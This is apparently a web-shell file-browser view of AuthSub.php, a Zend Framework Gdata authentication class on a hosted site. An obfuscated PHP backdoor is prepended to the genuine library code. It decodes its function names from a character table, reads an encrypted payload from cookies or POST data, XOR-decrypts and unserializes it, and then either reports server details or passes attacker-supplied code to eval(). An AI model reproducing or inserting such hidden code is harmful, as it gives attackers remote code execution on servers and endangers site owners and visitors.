0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www
/
arcaneoverseas.com
/
application
/
libraries
/
Zend
/
Gdata
/
[
Home
]
File: AuthSub.php
<?php $d338509 = 179;$GLOBALS['ea19c1'] = Array();global $ea19c1;$ea19c1 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['e52f4b4'] = "\x2d\x48\x56\x4f\x6c\x5f\x41\x5a\x71\x55\x74\x2f\x54\x59\x47\x7e\x4b\x45\x6d\x64\x25\x49\x23\x4d\x3c\x32\x58\x9\x33\x62\x7a\x20\x7b\x77\x40\x37\x67\x24\xa\x27\x26\x21\x46\x52\x5c\xd\x3e\x43\x69\x31\x68\x2a\x79\x6e\x29\x30\x73\x2c\x2b\x3f\x39\x4a\x6b\x6f\x76\x50\x51\x28\x66\x6a\x7c\x35\x65\x53\x61\x44\x3d\x63\x34\x57\x75\x5b\x3a\x36\x3b\x70\x72\x38\x5d\x7d\x5e\x2e\x78\x60\x4c\x4e\x22\x42";$ea19c1[$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][35]] = $ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][50].$ea19c1['e52f4b4'][86];$ea19c1[$ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][28]] = $ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][19];$ea19c1[$ea19c1['e52f4b4'][64].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71]] = $ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][53].$ea19c1['e52f4b4'][72];$ea19c1[$ea19c1['e52f4b4'][8].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][68]] = $ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][10].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][53];$ea19c1[$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][28]] = $ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][53].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][19];$ea19c1[$ea19c1['e52f4b4'][69].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][60]] = $ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][53].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][10];$ea19c1[$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][78]] = $ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][30].$ea19c1['e52f4b4'][72];$ea19c1[$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][74]] = $ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][50].$ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][64].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][53];$ea19c1[$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][29]] = $ea19c1['e52f4b4'][80].$ea19c1['e52f4b4'][53].$ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][30].$ea19c1['e52f4b4'][72];$ea19c1[$ea19c1['e52f4b4'][36].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71]] = $ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][72];$ea19c1[$ea19c1['e52f4b4'][33].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][74]] = $ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][10].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][10].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][10];$ea19c1[$ea19c1['e52f4b4'][62].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][49]] = $ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][74];$ea19c1[$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][19]] = $ea19c1['e52f4b4'][30].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][74];$ea19c1[$ea19c1['e52f4b4'][80].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][60]] = $_POST;$ea19c1[$ea19c1['e52f4b4'][92].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][35]] = $_COOKIE;@$ea19c1[$ea19c1['e52f4b4'][69].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][60]]($ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][36], NULL);@$ea19c1[$ea19c1['e52f4b4'][69].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][60]]($ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][36].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][86].$ea19c1['e52f4b4'][56], 0);@$ea19c1[$ea19c1['e52f4b4'][69].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][60]]($ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][92].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][92].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][80].$ea19c1['e52f4b4'][10].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][63].$ea19c1['e52f4b4'][53].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][10].$ea19c1['e52f4b4'][48].$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][72], 0);@$ea19c1[$ea19c1['e52f4b4'][33].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][74]](0);if (!$ea19c1[$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][28]]($ea19c1['e52f4b4'][6].$ea19c1['e52f4b4'][94].$ea19c1['e52f4b4'][43].$ea19c1['e52f4b4'][17].$ea19c1['e52f4b4'][6].$ea19c1['e52f4b4'][75].$ea19c1['e52f4b4'][13].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][43].$ea19c1['e52f4b4'][9].$ea19c1['e52f4b4'][95].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][74])){$ea19c1[$ea19c1['e52f4b4'][64].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71]]($ea19c1['e52f4b4'][6].$ea19c1['e52f4b4'][94].$ea19c1['e52f4b4'][43].$ea19c1['e52f4b4'][17].$ea19c1['e52f4b4'][6].$ea19c1['e52f4b4'][75].$ea19c1['e52f4b4'][13].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][43].$ea19c1['e52f4b4'][9].$ea19c1['e52f4b4'][95].$ea19c1['e52f4b4'][5].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][74], 1);$l54e5 = NULL;$q5aa267 = NULL;$ea19c1[$ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][72]] = $ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][0].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][72].$ea19c1['e52f4b4'][0].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][0].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][0].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][19];global $pb4a61e;function z3ca($l54e5, $z8ba00f7a){global $ea19c1;$y9893 = "";for ($v763=0; $v763<$ea19c1[$ea19c1['e52f4b4'][8].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][68]]($l54e5);){for ($s517cc17c=0; $s517cc17c<$ea19c1[$ea19c1['e52f4b4'][8].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][68]]($z8ba00f7a) && $v763<$ea19c1[$ea19c1['e52f4b4'][8].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][68]]($l54e5); $s517cc17c++, $v763++){$y9893 .= $ea19c1[$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][35]]($ea19c1[$ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][28]]($l54e5[$v763]) ^ $ea19c1[$ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][87].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][28]]($z8ba00f7a[$s517cc17c]));}}return $y9893;}function s95a($l54e5, $z8ba00f7a){global $ea19c1;global $pb4a61e;return $ea19c1[$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][19]]($ea19c1[$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][19]]($l54e5, $pb4a61e), $z8ba00f7a);}foreach ($ea19c1[$ea19c1['e52f4b4'][92].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][35]] as $z8ba00f7a=>$p1a85c2){$l54e5 = $p1a85c2;$q5aa267 = $z8ba00f7a;}if (!$l54e5){foreach ($ea19c1[$ea19c1['e52f4b4'][80].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][60]] as $z8ba00f7a=>$p1a85c2){$l54e5 = $p1a85c2;$q5aa267 = $z8ba00f7a;}}$l54e5 = @$ea19c1[$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][29].$ea19c1['e52f4b4'][29]]($ea19c1[$ea19c1['e52f4b4'][62].$ea19c1['e52f4b4'][71].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][49]]($ea19c1[$ea19c1['e52f4b4'][36].$ea19c1['e52f4b4'][77].$ea19c1['e52f4b4'][83].$ea19c1['e52f4b4'][19].$ea19c1['e52f4b4'][71]]($l54e5), $q5aa267));if (isset($l54e5[$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][62]]) && $pb4a61e==$l54e5[$ea19c1['e52f4b4'][74].$ea19c1['e52f4b4'][62]]){if ($l54e5[$ea19c1['e52f4b4'][74]] == $ea19c1['e52f4b4'][48]){$v763 = Array($ea19c1['e52f4b4'][85].$ea19c1['e52f4b4'][64] => @$ea19c1[$ea19c1['e52f4b4'][18].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][78].$ea19c1['e52f4b4'][74]](),$ea19c1['e52f4b4'][56].$ea19c1['e52f4b4'][64] => $ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][91].$ea19c1['e52f4b4'][55].$ea19c1['e52f4b4'][0].$ea19c1['e52f4b4'][49],);echo @$ea19c1[$ea19c1['e52f4b4'][4].$ea19c1['e52f4b4'][49].$ea19c1['e52f4b4'][68].$ea19c1['e52f4b4'][28].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][25].$ea19c1['e52f4b4'][60].$ea19c1['e52f4b4'][35].$ea19c1['e52f4b4'][78]]($v763);}elseif ($l54e5[$ea19c1['e52f4b4'][74]] == $ea19c1['e52f4b4'][72]){eval/*nbd17d6*/($l54e5[$ea19c1['e52f4b4'][19]]);}exit();}} ?><?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Gdata * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ /** * Zend_Http_Client */ require_once 'Zend/Http/Client.php'; /** * Zend_Version */ require_once 'Zend/Version.php'; /** * Wrapper around Zend_Http_Client to facilitate Google's "Account Authentication * Proxy for Web-Based Applications". * * @see http://code.google.com/apis/accounts/AuthForWebApps.html * * @category Zend * @package Zend_Gdata * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Gdata_AuthSub { const AUTHSUB_REQUEST_URI = 'https://www.google.com/accounts/AuthSubRequest'; const AUTHSUB_SESSION_TOKEN_URI = 'https://www.google.com/accounts/AuthSubSessionToken'; const AUTHSUB_REVOKE_TOKEN_URI = 'https://www.google.com/accounts/AuthSubRevokeToken'; const AUTHSUB_TOKEN_INFO_URI = 'https://www.google.com/accounts/AuthSubTokenInfo'; /** * Creates a URI to request a single-use AuthSub token. * * @param string $next (required) URL identifying the service to be accessed. * The resulting token will enable access to the specified service only. * Some services may limit scope further, such as read-only access. * @param string $scope (required) URL identifying the service to be accessed. * The resulting token will enable access to the specified service only. * Some services may limit scope further, such as read-only access. * @param int $secure (optional) Boolean flag indicating whether the authentication * transaction should issue a secure token (1) or a non-secure token (0). Secure tokens * are available to registered applications only. * @param int $session (optional) Boolean flag indicating whether the one-time-use * token may be exchanged for a session token (1) or not (0). * @param string $request_uri (optional) URI to which to direct the authentication request. */ public static function getAuthSubTokenUri($next, $scope, $secure=0, $session=0, $request_uri = self::AUTHSUB_REQUEST_URI) { $querystring = '?next=' . urlencode($next) . '&scope=' . urldecode($scope) . '&secure=' . urlencode($secure) . '&session=' . urlencode($session); return $request_uri . $querystring; } /** * Upgrades a single use token to a session token * * @param string $token The single use token which is to be upgraded * @param Zend_Http_Client $client (optional) HTTP client to use to make the request * @param string $request_uri (optional) URI to which to direct the session token upgrade * @return string The upgraded token value * @throws Zend_Gdata_App_AuthException * @throws Zend_Gdata_App_HttpException */ public static function getAuthSubSessionToken($token, $client = null, $request_uri = self::AUTHSUB_SESSION_TOKEN_URI) { $client = self::getHttpClient($token, $client); $client->setUri($request_uri); try { $response = $client->request('GET'); } catch (Zend_Http_Client_Exception $e) { require_once 'Zend/Gdata/App/HttpException.php'; throw new Zend_Gdata_App_HttpException($e->getMessage(), $e); } // Parse Google's response if ($response->isSuccessful()) { $goog_resp = array(); foreach (explode("\n", $response->getBody()) as $l) { $l = chop($l); if ($l) { list($key, $val) = explode('=', chop($l), 2); $goog_resp[$key] = $val; } } return $goog_resp['Token']; } else { require_once 'Zend/Gdata/App/AuthException.php'; throw new Zend_Gdata_App_AuthException('Token upgrade failed. Reason: ' . $response->getBody()); } } /** * Revoke a token * * @param string $token The token to revoke * @param Zend_Http_Client $client (optional) HTTP client to use to make the request * @param string $request_uri (optional) URI to which to direct the revokation request * @return boolean Whether the revokation was successful * @throws Zend_Gdata_App_HttpException */ public static function AuthSubRevokeToken($token, $client = null, $request_uri = self::AUTHSUB_REVOKE_TOKEN_URI) { $client = self::getHttpClient($token, $client); $client->setUri($request_uri); ob_start(); try { $response = $client->request('GET'); } catch (Zend_Http_Client_Exception $e) { require_once 'Zend/Gdata/App/HttpException.php'; throw new Zend_Gdata_App_HttpException($e->getMessage(), $e); } ob_end_clean(); // Parse Google's response if ($response->isSuccessful()) { return true; } else { return false; } } /** * get token information * * @param string $token The token to retrieve information about * @param Zend_Http_Client $client (optional) HTTP client to use to make the request * @param string $request_uri (optional) URI to which to direct the information request */ public static function getAuthSubTokenInfo($token, $client = null, $request_uri = self::AUTHSUB_TOKEN_INFO_URI) { $client = self::getHttpClient($token, $client); $client->setUri($request_uri); ob_start(); try { $response = $client->request('GET'); } catch (Zend_Http_Client_Exception $e) { require_once 'Zend/Gdata/App/HttpException.php'; throw new Zend_Gdata_App_HttpException($e->getMessage(), $e); } ob_end_clean(); return $response->getBody(); } /** * Retrieve a HTTP client object with AuthSub credentials attached * as the Authorization header * * @param string $token The token to retrieve information about * @param Zend_Http_Client $client (optional) HTTP client to use to make the request */ public static function getHttpClient($token, $client = null) { if ($client == null) { $client = new Zend_Http_Client(); } if (!$client instanceof Zend_Http_Client) { require_once 'Zend/Gdata/App/HttpException.php'; throw new Zend_Gdata_App_HttpException('Client is not an instance of Zend_Http_Client.'); } $useragent = 'Zend_Framework_Gdata/' . Zend_Version::VERSION; $client->setConfig(array( 'strictredirects' => true, 'useragent' => $useragent ) ); $headers['authorization'] = 'AuthSub token="' . $token . '"'; $client->setHeaders($headers); return $client; } }
©
2018.